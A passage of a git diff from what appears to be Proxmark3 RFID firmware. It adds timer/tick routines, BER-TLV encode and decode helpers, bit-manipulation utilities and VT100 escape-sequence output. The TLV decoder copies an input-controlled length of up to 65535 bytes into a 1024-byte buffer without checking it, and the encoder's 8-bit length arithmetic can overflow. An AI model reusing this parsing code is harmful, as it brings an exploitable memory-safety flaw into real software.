13,56MHz/16) + | AT91C_TC_ENETRG // Enable external trigger event + | AT91C_TC_WAVESEL_UP // Upmode without automatic trigger on RC compare + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_AEEVT_SET // Set TIOA1 on external event + | AT91C_TC_ACPC_CLEAR; // Clear TIOA1 on RC Compare + AT91C_BASE_TC1->TC_RC = 0x04; // RC Compare value = 0x04 + + // use TC0 to count TIOA1 pulses + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // disable TC0 + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_XC0 // TC0 clock = XC0 clock = TIOA1 + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_WAVESEL_UP // just count + | AT91C_TC_ACPA_CLEAR // Clear TIOA0 on RA Compare + | AT91C_TC_ACPC_SET; // Set TIOA0 on RC Compare + AT91C_BASE_TC0->TC_RA = 1; // RA Compare value = 1; pulse width to TC2 + AT91C_BASE_TC0->TC_RC = 0; // RC Compare value = 0; increment TC2 on overflow + + // use TC2 to count TIOA0 pulses (giving us a 32bit counter (TC0/TC2) clocked by ssp_clk) + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; // disable TC2 + AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_XC2 // TC2 clock = XC2 clock = TIOA0 + | AT91C_TC_WAVE // Waveform Mode + | AT91C_TC_WAVESEL_UP; // just count + + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // enable and reset TC0 + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // enable and reset TC1 + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; // enable and reset TC2 + + // synchronize the counter with the ssp_frame signal. + // Note: FPGA must be in any iso14443 mode, otherwise the frame signal would not be present + while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // wait for ssp_frame to go high (start of frame) + while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low + while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)); // wait for ssp_clk to go high + + // note: up to now two ssp_clk rising edges have passed since the rising edge of ssp_frame + // it is now safe to assert a sync signal. This sets all timers to 0 on next active clock edge + AT91C_BASE_TCB->TCB_BCR = 1; // assert Sync (set all timers to 0 on next active clock edge) + // at the next (3rd) ssp_clk rising edge, TC1 will be reset (and not generate a clock signal to TC0) + // at the next (4th) ssp_clk rising edge, TC0 (the low word of our counter) will be reset. From now on, + // whenever the last three bits of our counter go 0, we can be sure to be in the middle of a frame transfer. + // (just started with the transfer of the 4th Bit). + + // The high word of the counter (TC2) will not reset until the low word (TC0) overflows. + // Therefore need to wait quite some time before we can use the counter. + while (AT91C_BASE_TC2->TC_CV > 0); +} +void ResetSspClk(void) { + //enable clock of timer and software trigger + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + while (AT91C_BASE_TC2->TC_CV > 0); +} +uint32_t RAMFUNC GetCountSspClk(void) { + uint32_t tmp_count = (AT91C_BASE_TC2->TC_CV << 16) | AT91C_BASE_TC0->TC_CV; + if ((tmp_count & 0x0000ffff) == 0) //small chance that we may have missed an increment in TC2 + return (AT91C_BASE_TC2->TC_CV << 16); + return tmp_count; +} + +// ------------------------------------------------------------------------- +// Timer for bitbanging, or LF stuff when you need a very precis timer +// 1us = 1.5ticks +// ------------------------------------------------------------------------- +void StartTicks(void){ + //initialization of the timer + // tc1 is higher 0xFFFF0000 + // tc0 is lower 0x0000FFFF + AT91C_BASE_PMC->PMC_PCER |= (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1); + AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK | // MCK(48MHz) / 32 + AT91C_TC_WAVE | AT91C_TC_WAVESEL_UP_AUTO | AT91C_TC_ACPA_CLEAR | + AT91C_TC_ACPC_SET | AT91C_TC_ASWTRG_SET; + AT91C_BASE_TC0->TC_RA = 1; + AT91C_BASE_TC0->TC_RC = 0; + + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // timer disable + AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_XC1; // from TC0 + + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TCB->TCB_BCR = 1; + + // wait until timer becomes zero. + while (AT91C_BASE_TC1->TC_CV > 0); +} +// Wait - Spindelay in ticks. +// if called with a high number, this will trigger the WDT... +void WaitTicks(uint32_t ticks){ + if ( ticks == 0 ) return; + ticks += GET_TICKS; + while (GET_TICKS < ticks); +} +// Wait / Spindelay in us (microseconds) +// 1us = 1.5ticks. +void WaitUS(uint16_t us){ + if ( us == 0 ) return; + WaitTicks( (uint32_t)us * 3/2 ); +} +void WaitMS(uint16_t ms){ + if (ms == 0) return; + WaitTicks( (uint32_t)ms * 1500 ); +} +// Starts Clock and waits until its reset +void ResetTicks(void){ + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + while (AT91C_BASE_TC1->TC_CV > 0); +} +void ResetTimer(AT91PS_TC timer){ + timer->TC_CCR = AT91C_TC_CLKEN | AT91C_TC_SWTRG; + while(timer->TC_CV > 0) ; +} +// stop clock +void StopTicks(void){ + AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; + AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; +} diff --git a/armsrc/ticks.h b/armsrc/ticks.h new file mode 100644 index 000000000..8ad4bc679 --- /dev/null +++ b/armsrc/ticks.h @@ -0,0 +1,48 @@ +//----------------------------------------------------------------------------- +// Jonathan Westhues, Aug 2005 +// Iceman, Sept 2016 +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Timers, Clocks functions used in LF or Legic where you would need detailed time. +//----------------------------------------------------------------------------- + +#ifndef __TICKS_H +#define __TICKS_H + +#include +#include +#include "common.h" +#include "apps.h" +#include "proxmark3.h" + +#ifndef GET_TICKS +# define GET_TICKS (uint32_t)((AT91C_BASE_TC1->TC_CV << 16) | AT91C_BASE_TC0->TC_CV) +#endif + +void SpinDelay(int ms); +void SpinDelayUs(int us); + +void StartTickCount(void); +uint32_t RAMFUNC GetTickCount(void); + +void StartCountUS(void); +uint32_t RAMFUNC GetCountUS(void); +void ResetUSClock(void); +void SpinDelayCountUs(uint32_t us); +//uint32_t RAMFUNC GetDeltaCountUS(void); + +void StartCountSspClk(); +void ResetSspClk(void); +uint32_t RAMFUNC GetCountSspClk(); + +extern void StartTicks(void); +extern void WaitTicks(uint32_t ticks); +extern void WaitUS(uint16_t us); +extern void WaitMS(uint16_t ms); +extern void ResetTicks(); +extern void ResetTimer(AT91PS_TC timer); +extern void StopTicks(void); +#endif \ No newline at end of file diff --git a/armsrc/tlv.c b/armsrc/tlv.c new file mode 100644 index 000000000..3da03492f --- /dev/null +++ b/armsrc/tlv.c @@ -0,0 +1,77 @@ +#include + +int decode_ber_tlv_item(uint8_t* data, tlvtag* returnedtag) +{ + uint8_t tag[TAG_LENGTH] = {0x00,0x00}; + uint16_t length = 0; + //uint8_t value[VALUE_LENGTH]; + uint8_t lenlen = 0; + int i = 0; + int z = 0; + //decode tag + tag[0] = data[0]; + if((tag[0] & TLV_TAG_NUMBER_MASK) == TLV_TAG_NUMBER_MASK) { //see subsequent bytes + i++; + tag[i] = data[i]; + //assume tag is only two bytes long for now + /* + while((data[i] & TLV_TAG_MASK) == TLV_TAG_MASK){ + i++; + tag[i] = data[i]; + } + */ + } + i++; + //decode length + if((data[i] & TLV_LENGTH_MASK) == TLV_LENGTH_MASK) { + lenlen = data[i] ^ TLV_LENGTH_MASK; + i++; + length = (uint16_t)data[i]; + z = 1; + while(z < lenlen){ + i++; + z++; + length <<= 8; + length += (uint16_t)data[i]; + } + i++; + } + else { + length = (uint16_t)data[i]; + i++; + } + //copy results into the structure and return + memcpy(returnedtag->tag, tag, TAG_LENGTH); + (*returnedtag).valuelength = length; //return length of tag value + (*returnedtag).fieldlength = length + i + 1; //return length of total field + memcpy(returnedtag->value, &(data[i]), length); + return 0; +} + +//generate a TLV tag off input data +int encode_ber_tlv_item(uint8_t* tag, uint8_t taglen, uint8_t* data, uint32_t datalen, uint8_t* outputtag, uint32_t* outputtaglen) +{ + if(!tag || !data || !outputtag || !outputtaglen) //null pointer check + return 0; + + uint8_t datafieldlen = (datalen / 128) + 1; //field length of the tag + uint8_t tlvtotallen = taglen + datafieldlen + datalen; //total length of the tag + uint8_t returnedtag[tlvtotallen]; //buffer for the returned tag + uint8_t counter = 0; + memcpy(returnedtag, tag, taglen); //copy tag into buffer + counter += taglen; + if(datalen < 128){ // 1 byte length value + returnedtag[counter++] = datalen; + } + else{ + returnedtag[counter++] = datafieldlen | 0x80; //high bit set and number of length bytes + for(uint8_t i=datafieldlen; i !=0; i--){ + returnedtag[counter++] = (datalen >> (i * 8)) & 0xFF; //get current byte + } + } + memcpy(&returnedtag[counter], data, datalen); + *outputtaglen = tlvtotallen; + memcpy(outputtag, returnedtag,tlvtotallen); + return 0; +} + diff --git a/armsrc/tlv.h b/armsrc/tlv.h new file mode 100644 index 000000000..c90756168 --- /dev/null +++ b/armsrc/tlv.h @@ -0,0 +1,33 @@ +#ifndef __TLV_H +#define __TLV_H + +#include +#include +#include + +//structure buffer definitions +#define TAG_LENGTH 2 +#define VALUE_LENGTH 1024 + +//masks +//if TLV_TAG_NUMBER_MASK bits are set, refer to the next byte for the tag number +//otherwise its located in bits 1-5 +#define TLV_TAG_NUMBER_MASK 0x1f +//if TLV_DATA_MASK set then its a 'constructed data object' +//otherwise a 'primitive data object' +#define TLV_DATA_MASK 0x20 +#define TLV_TAG_MASK 0x80 +#define TLV_LENGTH_MASK 0x80 + +//tlv tag structure, tag can be max of 2 bytes, length up to 65535 and value 1024 bytes long +typedef struct { + uint8_t tag[TAG_LENGTH]; + uint16_t fieldlength; + uint16_t valuelength; + uint8_t value[VALUE_LENGTH]; +}tlvtag; + +//decode a BER TLV +extern int decode_ber_tlv_item(uint8_t* data, tlvtag* returnedtag); +extern int encode_ber_tlv_item(uint8_t* tag, uint8_t taglen, uint8_t*data, uint32_t datalen, uint8_t* outputtag, uint32_t* outputtaglen); +#endif //__TLV_H diff --git a/armsrc/util.c b/armsrc/util.c index 2d3aab9ca..b5be57923 100644 --- a/armsrc/util.c +++ b/armsrc/util.c @@ -7,46 +7,121 @@ //----------------------------------------------------------------------------- // Utility functions used in many places, not specific to any piece of code. //----------------------------------------------------------------------------- - -#include "proxmark3.h" #include "util.h" -#include "string.h" -#include "apps.h" size_t nbytes(size_t nbits) { - return (nbits/8)+((nbits%8)>0); + return (nbits >> 3)+((nbits % 8) > 0); } -uint32_t SwapBits(uint32_t value, int nrbits) { - int i; - uint32_t newvalue = 0; - for(i = 0; i < nrbits; i++) { - newvalue ^= ((value >> i) & 1) << (nrbits - 1 - i); +/* + ref http://www.csm.ornl.gov/~dunigan/crc.html + Returns the value v with the bottom b [0,32] bits reflected. + Example: reflect(0x3e23L,3) == 0x3e26 +*/ +uint32_t reflect(uint32_t v, int b) { + uint32_t t = v; + for ( int i = 0; i < b; ++i) { + if (t & 1) + v |= BITMASK((b-1)-i); + else + v &= ~BITMASK((b-1)-i); + t>>=1; } - return newvalue; + return v; } -void num_to_bytes(uint64_t n, size_t len, uint8_t* dest) -{ +uint8_t reflect8(uint8_t b) { + return ((b * 0x80200802ULL) & 0x0884422110ULL) * 0x0101010101ULL >> 32; +} +uint16_t reflect16(uint16_t b) { + uint16_t v = 0; + v |= (b & 0x8000) >> 15; + v |= (b & 0x4000) >> 13; + v |= (b & 0x2000) >> 11; + v |= (b & 0x1000) >> 9; + v |= (b & 0x0800) >> 7; + v |= (b & 0x0400) >> 5; + v |= (b & 0x0200) >> 3; + v |= (b & 0x0100) >> 1; + + v |= (b & 0x0080) << 1; + v |= (b & 0x0040) << 3; + v |= (b & 0x0020) << 5; + v |= (b & 0x0010) << 7; + v |= (b & 0x0008) << 9; + v |= (b & 0x0004) << 11; + v |= (b & 0x0002) << 13; + v |= (b & 0x0001) << 15; + return v; +} + +void num_to_bytes(uint64_t n, size_t len, uint8_t* dest) { while (len--) { dest[len] = (uint8_t) n; n >>= 8; } } -uint64_t bytes_to_num(uint8_t* src, size_t len) -{ +uint64_t bytes_to_num(uint8_t* src, size_t len) { uint64_t num = 0; - while (len--) - { + while (len--) { num = (num << 8) | (*src); src++; } return num; } -void LEDsoff() -{ +// RotateLeft - Ultralight, Desfire +void rol(uint8_t *data, const size_t len) { + uint8_t first = data[0]; + for (size_t i = 0; i < len-1; i++) { + data[i] = data[i+1]; + } + data[len-1] = first; +} + +void lsl (uint8_t *data, size_t len) { + for (size_t n = 0; n < len - 1; n++) { + data[n] = (data[n] << 1) | (data[n+1] >> 7); + } + data[len - 1] <<= 1; +} + +int32_t le24toh (uint8_t data[3]) { + return (data[2] << 16) | (data[1] << 8) | data[0]; +} + +//convert hex digit to integer +uint8_t hex2int(char hexchar){ + switch(hexchar){ + case '0': return 0; break; + case '1': return 1; break; + case '2': return 2; break; + case '3': return 3; break; + case '4': return 4; break; + case '5': return 5; break; + case '6': return 6; break; + case '7': return 7; break; + case '8': return 8; break; + case '9': return 9; break; + case 'a': + case 'A': return 10; break; + case 'b': + case 'B': return 11; break; + case 'c': + case 'C': return 12; break; + case 'd': + case 'D': return 13; break; + case 'e': + case 'E': return 14; break; + case 'f': + case 'F': return 15; break; + default: + return 0; + } +} + +void LEDsoff() { LED_A_OFF(); LED_B_OFF(); LED_C_OFF(); @@ -54,8 +129,7 @@ void LEDsoff() } // LEDs: R(C) O(A) G(B) -- R(D) [1, 2, 4 and 8] -void LED(int led, int ms) -{ +void LED(int led, int ms) { if (led & LED_RED) LED_C_ON(); if (led & LED_ORANGE) @@ -80,13 +154,11 @@ void LED(int led, int ms) LED_D_OFF(); } - // Determine if a button is double clicked, single clicked, // not clicked, or held down (for ms || 1sec) // In general, don't use this function unless you expect a // double click, otherwise it will waste 500ms -- use BUTTON_HELD instead -int BUTTON_CLICKED(int ms) -{ +int BUTTON_CLICKED(int ms) { // Up to 500ms in between clicks to mean a double click int ticks = (48000 * (ms ? ms : 1000)) >> 10; @@ -148,8 +220,7 @@ int BUTTON_CLICKED(int ms) } // Determine if a button is held down -int BUTTON_HELD(int ms) -{ +int BUTTON_HELD(int ms) { // If button is held for one second int ticks = (48000 * (ms ? ms : 1000)) >> 10; @@ -186,206 +257,36 @@ int BUTTON_HELD(int ms) return BUTTON_ERROR; } -// attempt at high resolution microsecond timer -// beware: timer counts in 21.3uS increments (1024/48Mhz) -void SpinDelayUs(int us) -{ - int ticks = (48*us) >> 10; - - // Borrow a PWM unit for my real-time clock - AT91C_BASE_PWMC->PWMC_ENA = PWM_CHANNEL(0); - // 48 MHz / 1024 gives 46.875 kHz - AT91C_BASE_PWMC_CH0->PWMC_CMR = PWM_CH_MODE_PRESCALER(10); - AT91C_BASE_PWMC_CH0->PWMC_CDTYR = 0; - AT91C_BASE_PWMC_CH0->PWMC_CPRDR = 0xffff; - - uint16_t start = AT91C_BASE_PWMC_CH0->PWMC_CCNTR; - - for(;;) { - uint16_t now = AT91C_BASE_PWMC_CH0->PWMC_CCNTR; - if (now == (uint16_t)(start + ticks)) - return; - - WDT_HIT(); - } -} - -void SpinDelay(int ms) -{ - // convert to uS and call microsecond delay function - SpinDelayUs(ms*1000); -} - /* Similar to FpgaGatherVersion this formats stored version information * into a string representation. It takes a pointer to the struct version_information, * verifies the magic properties, then stores a formatted string, prefixed by * prefix in dst. */ -void FormatVersionInformation(char *dst, int len, const char *prefix, void *version_information) -{ +void FormatVersionInformation(char *dst, int len, const char *prefix, void *version_information) { struct version_information *v = (struct version_information*)version_information; dst[0] = 0; - strncat(dst, prefix, len); - if(v->magic != VERSION_INFORMATION_MAGIC) { - strncat(dst, "Missing/Invalid version information", len - strlen(dst) - 1); + strncat(dst, prefix, len-1); + if (v->magic != VERSION_INFORMATION_MAGIC) { + strncat(dst, "Missing/Invalid version information\n", len - strlen(dst) - 1); return; } - if(v->versionversion != 1) { - strncat(dst, "Version information not understood", len - strlen(dst) - 1); + if (v->versionversion != 1) { + strncat(dst, "Version information not understood\n", len - strlen(dst) - 1); return; } - if(!v->present) { - strncat(dst, "Version information not available", len - strlen(dst) - 1); + if (!v->present) { + strncat(dst, "Version information not available\n", len - strlen(dst) - 1); return; } strncat(dst, v->gitversion, len - strlen(dst) - 1); - if(v->clean == 0) { + if (v->clean == 0) { strncat(dst, "-unclean", len - strlen(dst) - 1); - } else if(v->clean == 2) { + } else if (v->clean == 2) { strncat(dst, "-suspect", len - strlen(dst) - 1); } strncat(dst, " ", len - strlen(dst) - 1); strncat(dst, v->buildtime, len - strlen(dst) - 1); + strncat(dst, "\n", len - strlen(dst) - 1); } - -// ------------------------------------------------------------------------- -// timer lib -// ------------------------------------------------------------------------- -// test procedure: -// -// ti = GetTickCount(); -// SpinDelay(1000); -// ti = GetTickCount() - ti; -// Dbprintf("timer(1s): %d t=%d", ti, GetTickCount()); - -void StartTickCount() -{ -// must be 0x40, but on my cpu - included divider is optimal -// 0x20 - 1 ms / bit -// 0x40 - 2 ms / bit - - AT91C_BASE_RTTC->RTTC_RTMR = AT91C_RTTC_RTTRST + 0x001D; // was 0x003B -} - -/* -* Get the current count. -*/ -uint32_t RAMFUNC GetTickCount(){ - return AT91C_BASE_RTTC->RTTC_RTVR;// was * 2; -} - -// ------------------------------------------------------------------------- -// microseconds timer -// ------------------------------------------------------------------------- -void StartCountUS() -{ - AT91C_BASE_PMC->PMC_PCER |= (0x1 << 12) | (0x1 << 13) | (0x1 << 14); -// AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC1XC1S_TIOA0; - AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_NONE | AT91C_TCB_TC1XC1S_TIOA0 | AT91C_TCB_TC2XC2S_NONE; - - // fast clock - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // timer disable - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV3_CLOCK | // MCK(48MHz)/32 -- tick=1.5mks - AT91C_TC_WAVE | AT91C_TC_WAVESEL_UP_AUTO | AT91C_TC_ACPA_CLEAR | - AT91C_TC_ACPC_SET | AT91C_TC_ASWTRG_SET; - AT91C_BASE_TC0->TC_RA = 1; - AT91C_BASE_TC0->TC_RC = 0xBFFF + 1; // 0xC000 - - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // timer disable - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_XC1; // from timer 0 - - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN; - AT91C_BASE_TCB->TCB_BCR = 1; - } - -uint32_t RAMFUNC GetCountUS(){ - return (AT91C_BASE_TC1->TC_CV * 0x8000) + ((AT91C_BASE_TC0->TC_CV / 15) * 10); -} - -static uint32_t GlobalUsCounter = 0; - -uint32_t RAMFUNC GetDeltaCountUS(){ - uint32_t g_cnt = GetCountUS(); - uint32_t g_res = g_cnt - GlobalUsCounter; - GlobalUsCounter = g_cnt; - return g_res; -} - - -// ------------------------------------------------------------------------- -// Timer for iso14443 commands. Uses ssp_clk from FPGA -// ------------------------------------------------------------------------- -void StartCountSspClk() -{ - AT91C_BASE_PMC->PMC_PCER = (1 << AT91C_ID_TC0) | (1 << AT91C_ID_TC1) | (1 << AT91C_ID_TC2); // Enable Clock to all timers - AT91C_BASE_TCB->TCB_BMR = AT91C_TCB_TC0XC0S_TIOA1 // XC0 Clock = TIOA1 - | AT91C_TCB_TC1XC1S_NONE // XC1 Clock = none - | AT91C_TCB_TC2XC2S_TIOA0; // XC2 Clock = TIOA0 - - // configure TC1 to create a short pulse on TIOA1 when a rising edge on TIOB1 (= ssp_clk from FPGA) occurs: - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // disable TC1 - AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK // TC1 Clock = MCK(48MHz)/2 = 24MHz - | AT91C_TC_CPCSTOP // Stop clock on RC compare - | AT91C_TC_EEVTEDG_RISING // Trigger on rising edge of Event - | AT91C_TC_EEVT_TIOB // Event-Source: TIOB1 (= ssp_clk from FPGA = 13,56MHz/16) - | AT91C_TC_ENETRG // Enable external trigger event - | AT91C_TC_WAVESEL_UP // Upmode without automatic trigger on RC compare - | AT91C_TC_WAVE // Waveform Mode - | AT91C_TC_AEEVT_SET // Set TIOA1 on external event - | AT91C_TC_ACPC_CLEAR; // Clear TIOA1 on RC Compare - AT91C_BASE_TC1->TC_RC = 0x04; // RC Compare value = 0x04 - - // use TC0 to count TIOA1 pulses - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; // disable TC0 - AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_XC0 // TC0 clock = XC0 clock = TIOA1 - | AT91C_TC_WAVE // Waveform Mode - | AT91C_TC_WAVESEL_UP // just count - | AT91C_TC_ACPA_CLEAR // Clear TIOA0 on RA Compare - | AT91C_TC_ACPC_SET; // Set TIOA0 on RC Compare - AT91C_BASE_TC0->TC_RA = 1; // RA Compare value = 1; pulse width to TC2 - AT91C_BASE_TC0->TC_RC = 0; // RC Compare value = 0; increment TC2 on overflow - - // use TC2 to count TIOA0 pulses (giving us a 32bit counter (TC0/TC2) clocked by ssp_clk) - AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKDIS; // disable TC2 - AT91C_BASE_TC2->TC_CMR = AT91C_TC_CLKS_XC2 // TC2 clock = XC2 clock = TIOA0 - | AT91C_TC_WAVE // Waveform Mode - | AT91C_TC_WAVESEL_UP; // just count - - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKEN; // enable TC0 - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKEN; // enable TC1 - AT91C_BASE_TC2->TC_CCR = AT91C_TC_CLKEN; // enable TC2 - - // - // synchronize the counter with the ssp_frame signal. Note: FPGA must be in any iso14446 mode, otherwise the frame signal would not be present - // - while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME)); // wait for ssp_frame to go high (start of frame) - while(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_FRAME); // wait for ssp_frame to be low - while(!(AT91C_BASE_PIOA->PIO_PDSR & GPIO_SSC_CLK)); // wait for ssp_clk to go high - // note: up to now two ssp_clk rising edges have passed since the rising edge of ssp_frame - // it is now safe to assert a sync signal. This sets all timers to 0 on next active clock edge - AT91C_BASE_TCB->TCB_BCR = 1; // assert Sync (set all timers to 0 on next active clock edge) - // at the next (3rd) ssp_clk rising edge, TC1 will be reset (and not generate a clock signal to TC0) - // at the next (4th) ssp_clk rising edge, TC0 (the low word of our counter) will be reset. From now on, - // whenever the last three bits of our counter go 0, we can be sure to be in the middle of a frame transfer. - // (just started with the transfer of the 4th Bit). - // The high word of the counter (TC2) will not reset until the low word (TC0) overflows. Therefore need to wait quite some time before - // we can use the counter. - while (AT91C_BASE_TC0->TC_CV < 0xFFF0); -} - - -uint32_t RAMFUNC GetCountSspClk(){ - uint32_t tmp_count; - tmp_count = (AT91C_BASE_TC2->TC_CV << 16) | AT91C_BASE_TC0->TC_CV; - if ((tmp_count & 0x0000ffff) == 0) { //small chance that we may have missed an increment in TC2 - return (AT91C_BASE_TC2->TC_CV << 16); - } - else { - return tmp_count; - } -} - - diff --git a/armsrc/util.h b/armsrc/util.h index e8b9cdffb..77fd81ee4 100644 --- a/armsrc/util.h +++ b/armsrc/util.h @@ -11,9 +11,11 @@ #ifndef __UTIL_H #define __UTIL_H -#include -#include -#include +#include "common.h" +#include "proxmark3.h" +#include "string.h" +#include "BigBuf.h" +#include "ticks.h" #define BYTEx(x, n) (((x) >> (n * 8)) & 0xff ) @@ -27,27 +29,33 @@ #define BUTTON_DOUBLE_CLICK -2 #define BUTTON_ERROR -99 +#ifndef BSWAP_16 +# define BSWAP_16(x) ((( ((x) & 0xFF00 ) >> 8))| ( (((x) & 0x00FF) << 8))) +#endif +#ifndef BITMASK +# define BITMASK(X) (1 << (X)) +#endif +#ifndef ARRAYLEN +# define ARRAYLEN(x) (sizeof(x)/sizeof((x)[0])) +#endif + size_t nbytes(size_t nbits); -uint32_t SwapBits(uint32_t value, int nrbits); + +extern uint32_t reflect(uint32_t v, int b); // used in crc.c ... +extern uint8_t reflect8(uint8_t b); // dedicated 8bit reversal +extern uint16_t reflect16(uint16_t b); // dedicated 16bit reversal + void num_to_bytes(uint64_t n, size_t len, uint8_t* dest); uint64_t bytes_to_num(uint8_t* src, size_t len); +void rol(uint8_t *data, const size_t len); +void lsl (uint8_t *data, size_t len); +int32_t le24toh (uint8_t data[3]); +uint8_t hex2int(char hexchar); -void SpinDelay(int ms); -void SpinDelayUs(int us); void LED(int led, int ms); void LEDsoff(); int BUTTON_CLICKED(int ms); int BUTTON_HELD(int ms); void FormatVersionInformation(char *dst, int len, const char *prefix, void *version_information); -void StartTickCount(); -uint32_t RAMFUNC GetTickCount(); - -void StartCountUS(); -uint32_t RAMFUNC GetCountUS(); -uint32_t RAMFUNC GetDeltaCountUS(); - -void StartCountSspClk(); -uint32_t RAMFUNC GetCountSspClk(); - #endif diff --git a/armsrc/vtsend.c b/armsrc/vtsend.c new file mode 100644 index 000000000..e851d4334 --- /dev/null +++ b/armsrc/vtsend.c @@ -0,0 +1,281 @@ +/** + * @file vtsend.c + * @author CuBeatSystems + * @author Shinichiro Nakamura + * @copyright + * =============================================================== + * Natural Tiny Shell (NT-Shell) Version 0.3.1 + * =============================================================== + * Copyright (c) 2010-2016 Shinichiro Nakamura + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, + * copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following + * conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES + * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + * OTHER DEALINGS IN THE SOFTWARE. + */ + +#include "vtsend.h" +#include "apps.h" + +#define ESC (0x1B) +//#define UART_WRITE(P, BUF, SIZ) (P)->uart_write(BUF, SIZ, (P)->extobj) +#define UART_WRITE(BUF) DbprintfEx(FLAG_RAWPRINT, "%s", BUF) + +int vtsend_init(vtsend_t *p, VTSEND_SERIAL_WRITE uart_write, void *extobj) { + p->uart_write = uart_write; + p->extobj = extobj; + return 0; +} + +int vtsend_cursor_position(vtsend_t *p, const int column, const int line) { + char buf[1 + 8]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (line / 10); + buf[3] = '0' + (line % 10); + buf[4] = ';'; + buf[5] = '0' + (column / 10); + buf[6] = '0' + (column % 10); + buf[7] = 'H'; + buf[8] = '\0'; + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_up(vtsend_t *p, const int n) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (n / 10); + buf[3] = '0' + (n % 10); + buf[4] = 'A'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_down(vtsend_t *p, const int n) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (n / 10); + buf[3] = '0' + (n % 10); + buf[4] = 'B'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_forward(vtsend_t *p, const int n) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (n / 10); + buf[3] = '0' + (n % 10); + buf[4] = 'C'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_backward(vtsend_t *p, const int n) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (n / 10); + buf[3] = '0' + (n % 10); + buf[4] = 'D'; + buf[5] = '\0'; + + UART_WRITE(buf); // 